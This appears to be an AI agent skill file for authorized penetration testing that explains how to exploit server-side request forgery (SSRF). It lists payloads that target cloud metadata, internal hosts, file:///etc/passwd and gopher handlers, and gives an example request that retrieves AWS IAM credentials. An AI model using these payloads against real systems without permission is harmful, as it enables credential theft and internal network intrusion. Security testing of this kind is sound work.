Agent Skills: For authorized penetration testing and lab environments only

When to Use

• When conducting security assessments that involve performing ssrf vulnerability exploitation
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Familiarity with security operations concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Instructions

1. Install dependencies: pip install requests
2. Identify URL parameters in the target application that accept URLs or hostnames.
3. Test SSRF payloads:
   • Cloud metadata: http://169.254.169.254/latest/meta-data/
   • Internal services: http://127.0.0.1:port/, http://10.0.0.1/
   • Protocol handlers: file:///etc/passwd, gopher://, dict://
   • Bypass techniques: IP encoding, DNS rebinding, URL redirects
4. Analyze responses for information disclosure or internal access confirmation.
5. Generate a vulnerability assessment report.

# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.